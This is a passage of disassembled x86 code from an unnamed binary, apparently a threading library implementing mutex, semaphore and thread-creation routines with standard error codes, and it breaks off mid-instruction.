___:0042F2DCj push ebx push ebp push edi push eax push esi call sub_401A50 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402225 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_42F3C2 mov eax, [esi+30h] test eax, eax jnz loc_42F3C2 cmp [esi+0Ch], ebp jge loc_42F3D5 test edi, edi jz short loc_42F354 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F354: ; CODE XREF: ___:0042F329j mov edi, [esi+4] push edi nop call near ptr 274087Bh push 0 push edi call near ptr 2750455h nop cmp eax, 102h jnz short loc_42F3E2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2740A07h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_42F460 push ecx push edi nop call near ptr 2740C3Ah push ebx call sub_4010C3 add esp, 4 push edi nop call near ptr 2750000h mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F3C2: ; CODE XREF: ___:0042F30Dj ; ___:0042F318j cmp [esi+0Ch], ebp jge short loc_42F3D5 mov edx, [esi+38h] push edx nop call near ptr 27502A3h test eax, eax jnz short loc_42F3D9 loc_42F3D5: ; CODE XREF: ___:0042F321j ; ___:0042F3C5j mov [esp+10h], ebp loc_42F3D9: ; CODE XREF: ___:0042F3D3j push ebx call sub_4010C3 add esp, 4 loc_42F3E2: ; CODE XREF: ___:0042F36Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_42F3E9: ; CODE XREF: ___:0042F2CFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F460: ; DATA XREF: ___:0042F390o push 2 call sub_401DD4 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F480 proc near ; CODE XREF: sub_401122j mov eax, dword_50E3EC push esi push eax call sub_401190 sub_42F480 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_42F4BE mov eax, [esp+8] test eax, eax jz short loc_42F4AC mov eax, [esi] test eax, eax jz short loc_42F4AC mov ecx, [esi+4] push ecx call eax add esp, 4 loc_42F4AC: ; CODE XREF: ___:0042F49Bj ; ___:0042F4A1j mov edx, [esi+8] mov eax, dword_50E3EC push edx push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 8 loc_42F4BE: ; CODE XREF: ___:0042F493j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F4F0 proc near ; CODE XREF: sub_401659j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_50E3EC push edx call sub_401190 sub_42F4F0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_50E3EC push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F540 proc near ; CODE XREF: sub_401B4Fj arg_0 = dword ptr 4 push esi push offset dword_50E940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42F574 push esi push ecx call sub_401541 add esp, 8 mov esi, eax push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F574: ; CODE XREF: sub_42F540+17j test eax, eax jnz short loc_42F57D mov esi, 16h loc_42F57D: ; CODE XREF: sub_42F540+36j push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_42F540 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5B0: ; CODE XREF: ___:004020FEj push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42F5D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42F5D3: ; CODE XREF: ___:0042F5C2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5F0: ; CODE XREF: ___:004021D0j push esi mov esi, [esp+8] test esi, esi jz short loc_42F613 mov eax, [esi] test eax, eax jz short loc_42F613 push eax call near ptr 77C2C21Bh nop add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F613: ; CODE XREF: ___:0042F5F7j ; ___:0042F5FDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F630: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_42F64D mov eax, [eax] test eax, eax jz short loc_42F64D mov ecx, [esp+8] test ecx, ecx jz short loc_42F64D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F64D: ; CODE XREF: ___:0042F636j ; ___:0042F63Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F670: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_42F69A mov ecx, [eax] test ecx, ecx jz short loc_42F69A mov eax, [esp+8] cmp eax, 1 jz short loc_42F68E test eax, eax jnz short loc_42F69A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F68E: ; CODE XREF: ___:0042F685j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F69A: ; CODE XREF: ___:0042F676j ; ___:0042F67Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6B0 proc near ; CODE XREF: sub_401541j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_42F6C6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_42F6ED mov eax, [eax] cmp eax, edi jz short loc_42F6ED cmp dword ptr [eax], 1 jnz short loc_42F6ED mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej ; sub_42F6B0+24j ... push 20h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 cmp esi, edi jnz short loc_42F712 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F712: ; CODE XREF: sub_42F6B0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F737 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F77B ; --------------------------------------------------------------------------- loc_42F737: ; CODE XREF: sub_42F6B0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F755 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F772 ; --------------------------------------------------------------------------- loc_42F755: ; CODE XREF: sub_42F6B0+99j lea eax, [esi+14h] push 0 push eax call sub_402199 mov edi, eax add esp, 8 test edi, edi jz short loc_42F7DF push ebx call sub_401686 add esp, 4 loc_42F772: ; CODE XREF: sub_42F6B0+A3j push ebp call sub_401686 add esp, 4 loc_42F77B: ; CODE XREF: sub_42F6B0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_42F7D2 loc_42F78B: ; CODE XREF: sub_42F6B0+131j push offset dword_50E9C0 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_50E3F4 mov [esi+1Ch], ecx mov eax, dword_50E3F4 test eax, eax jz short loc_42F7B2 mov [eax+18h], esi loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj mov eax, dword_50E3F0 mov dword_50E3F4, esi test eax, eax jnz short loc_42F7C7 mov dword_50E3F0, esi loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj push offset dword_50E9C0 nop call near ptr 7C9010EDh loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j xor edi, edi jmp short loc_42F78B sub_42F6B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F840 proc near ; CODE XREF: sub_401A91j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_42F9EC mov eax, [edi] test eax, eax jz loc_42F9EC cmp eax, 0FFFFFFFFh jz loc_42F9A3 push offset dword_50E9C0 call near ptr 7C901005h nop mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42F899 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F899: ; CODE XREF: sub_42F840+49j lea ebp, [esi+14h] push ebp call sub_40177B add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_42F8C0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F8C0: ; CODE XREF: sub_42F840+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_42F8F9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_42F8E2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_42F8E2: ; CODE XREF: sub_42F840+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_42F98E ; --------------------------------------------------------------------------- loc_42F8F9: ; CODE XREF: sub_42F840+87j push ebx mov dword ptr [edi], 0 call sub_401686 mov edi, dword_50FA64 add esp, 4 test eax, eax jz short loc_42F91A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_42F91A: ; CODE XREF: sub_42F840+D0j lea eax, [esi+0Ch] push eax call sub_401686 add esp, 4 test eax, eax jz short loc_42F932 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_42F932: ; CODE XREF: sub_42F840+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42F94C push ebp call sub_40222F add esp, 4 mov ebx, eax loc_42F94C: ; CODE XREF: sub_42F840+FFj cmp dword_50E3F0, esi jnz short loc_42F95F mov edx, [esi+18h] mov dword_50E3F0, edx jmp short loc_42F968 ; --------------------------------------------------------------------------- loc_42F95F: ; CODE XREF: sub_42F840+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_42F968: ; CODE XREF: sub_42F840+11Dj cmp dword_50E3F4, esi jnz short loc_42F97B mov edx, [esi+1Ch] mov dword_50E3F4, edx jmp short loc_42F984 ; --------------------------------------------------------------------------- loc_42F97B: ; CODE XREF: sub_42F840+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_42F984: ; CODE XREF: sub_42F840+139j push esi call near ptr 77C2C21Bh nop add esp, 4 loc_42F98E: ; CODE XREF: sub_42F840+B4j push offset dword_50E9C0 call near ptr 7C9010EDh nop mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_42F9D2 ; --------------------------------------------------------------------------- loc_42F9A3: ; CODE XREF: sub_42F840+28j push offset dword_50E940 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42F9BB mov dword ptr [edi], 0 jmp short loc_42F9C7 ; --------------------------------------------------------------------------- loc_42F9BB: ; CODE XREF: sub_42F840+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_42F9C7: ; CODE XREF: sub_42F840+179j push offset dword_50E940 nop call near ptr 7C9010EDh loc_42F9D2: ; CODE XREF: sub_42F840+161j test esi, esi jz short loc_42F9DE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9DE: ; CODE XREF: sub_42F840+194j test ebp, ebp mov eax, ebp jnz short loc_42F9F1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9EC: ; CODE XREF: sub_42F840+15j ; sub_42F840+1Fj mov eax, 16h loc_42F9F1: ; CODE XREF: sub_42F840+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F840 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FA70 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FA70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp ; sub_42FD70+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_42FBA9 mov eax, [esi] test eax, eax jz loc_42FBA9 cmp eax, 0FFFFFFFFh jnz short loc_42FAE2 push esi call sub_401B4F add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_42FAE2 cmp eax, 10h jnz loc_42FBAE loc_42FAE2: ; CODE XREF: sub_42FAA0+26j ; sub_42FAA0+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_42FB02 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB02: ; CODE XREF: sub_42FAA0+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FB22 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB22: ; CODE XREF: sub_42FAA0+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_42FC10 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401659 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42FBA9: ; CODE XREF: sub_42FAA0+13j ; sub_42FAA0+1Dj mov eax, 16h loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj pop edi pop esi add esp, 20h retn sub_42FAA0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FC10: ; DATA XREF: sub_42FAA0+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402225 add esp, 4 test eax, eax jz short loc_42FC3B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC3B: ; CODE XREF: ___:0042FC31j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_42FC4E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_42FCB7 ; --------------------------------------------------------------------------- loc_42FC4E: ; CODE XREF: ___:0042FC44j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_42FCB7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42FC82 nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC82: ; CODE XREF: ___:0042FC6Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FCAC call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCAC: ; CODE XREF: ___:0042FC96j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_42FCB7: ; CODE XREF: ___:0042FC4Cj ; ___:0042FC5Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_42FCD0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCD0: ; CODE XREF: ___:0042FCC2j cmp ebx, 1 jnz short loc_42FCF9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_42FCF9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCF9: ; CODE XREF: ___:0042FCD3j ; ___:0042FCE3j mov ecx, [ebp+0] push ecx call sub_402225 add esp, 4 test eax, eax jz short loc_42FD0F mov edx, [esp+18h] mov [edx], eax loc_42FD0F: ; CODE XREF: ___:0042FD07j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD70 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_42FD7E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FD7E: ; CODE XREF: sub_42FD70+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FD70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDB0 proc near ; CODE XREF: sub_401E51j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_42FDD0 add esp, 8 retn sub_42FDB0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p ; sub_42FF30+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_42FED4 mov esi, [eax] test esi, esi jz loc_42FED4 cmp esi, 0FFFFFFFFh jnz short loc_42FDF4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj lea ebx, [esi+14h] push ebx call sub_402225 add esp, 4 test eax, eax jnz loc_42FED9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_42FE44 test eax, eax jnz short loc_42FE22 loc_42FE15: ; CODE XREF: sub_42FDD0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE22: ; CODE XREF: sub_42FDD0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_42FE39 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE39: ; CODE XREF: sub_42FDD0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_42FEA3 ; --------------------------------------------------------------------------- loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj cmp eax, [esi+4] jle short loc_42FE15 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_42FE70 call near ptr 77C1F2BCh nop mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE70: ; CODE XREF: sub_42FDD0+87j mov eax, [esi+4] test eax, eax jz short loc_42FE84 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_42FE84: ; CODE XREF: sub_42FDD0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_42FE99 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE99: ; CODE XREF: sub_42FDD0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_42FEA3: ; CODE XREF: sub_42FDD0+72j dec eax mov [esi], eax loc_42FEA6: ; CODE XREF: sub_42FDD0+67j ; sub_42FDD0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42FECE add esi, 0Ch push edi push esi call sub_40204A add esp, 8 test eax, eax jz short loc_42FECE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_42FECE: ; CODE XREF: sub_42FDD0+E3j ; sub_42FDD0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FED4: ; CODE XREF: sub_42FDD0+9j ; sub_42FDD0+13j mov eax, 16h loc_42FED9: ; CODE XREF: sub_42FDD0+32j pop edi pop esi pop ebx retn sub_42FDD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF30 proc near ; CODE XREF: sub_401604j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_42FDD0 add esp, 8 retn sub_42FF30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF50 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B13 mov esi, eax test esi, esi jz loc_430026 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_430026 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_42FFCE mov eax, [ebp+0] test eax, eax jz short loc_42FFCE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_42FFD0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_42FFD0 ; --------------------------------------------------------------------------- loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj ; sub_42FF50+54j xor edi, edi loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej ; sub_42FF50+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401B95 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax nop call near ptr 77C3A3DBh mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_430019 test ebp, ebp jz short loc_430012 cmp dword ptr [ebp+0], 0 jz short loc_430012 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020B3 add esp, 0Ch loc_430012: ; CODE XREF: sub_42FF50+AAj ; sub_42FF50+B0j push edi nop call near ptr 2750000h loc_430019: ; CODE XREF: sub_42FF50+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_430059 loc_430026: ; CODE XREF: sub_42FF50+14j ; sub_42FF50+30j push esi call sub_4017AD add esp, 4 xor esi, esi test ebx, ebx jz short loc_43004C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43004C: ; CODE XREF: sub_42FF50+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430059: ; CODE XREF: sub_42FF50+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_42FF50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4300C0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4300F7 ; default jmp off_4300FC[ecx*4] ; switch jump loc_4300D5: ; DATA XREF: ___:off_4300FCo call sub_401708 ; jumptable 004300CE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4300DD: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017B2 ; jumptable 004300CE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4300E5: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4300ED: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 0 call sub_40161D locret_4300F7: ; CODE XREF: ___:004300CCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr dd offset loc_4300D5 ; jump table for switch statement dd offset loc_4300DD dd offset loc_4300E5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_430130: ; CODE XREF: ___:004017B7j mov eax, dword_50E3E8 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h, 4C48377h dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430180 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_50E900 xor esi, esi nop call near ptr 7C901005h mov eax, [esp+4+arg_0] test eax, eax jz short loc_4301AB mov eax, [eax+4] test eax, eax jz short loc_4301AB push eax call near ptr 27405D5h nop cmp eax, 7FFFFFFFh jnz short loc_4301B0 loc_4301AB: ; CODE XREF: sub_430180+14j ; sub_430180+1Bj mov esi, 3 loc_4301B0: ; CODE XREF: sub_430180+29j push offset dword_50E900 call near ptr 7C9010EDh nop test esi, esi jnz short loc_4301CC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4301CE loc_4301CC: ; CODE XREF: sub_430180+3Dj mov eax, esi loc_4301CE: ; CODE XREF: sub_430180+4Aj pop esi retn sub_430180 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301F0: ; CODE XREF: ___:0040164Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_430241 mov edi, [esp+14h] test edi, edi jz short loc_430241 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_430221 lea eax, [esi+4] push eax nop call near ptr 2740531h test eax, eax jnz short loc_430227 call edi ; _errno mov dword ptr [esi], 1 loc_430221: ; CODE XREF: ___:00430209j ; ___:0043022Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430227: ; CODE XREF: ___:00430217j cmp dword ptr [esi], 0 jnz short loc_430221 mov edi, dword_50F8D0 loc_430232: ; CODE XREF: ___:00430239j push 0 call 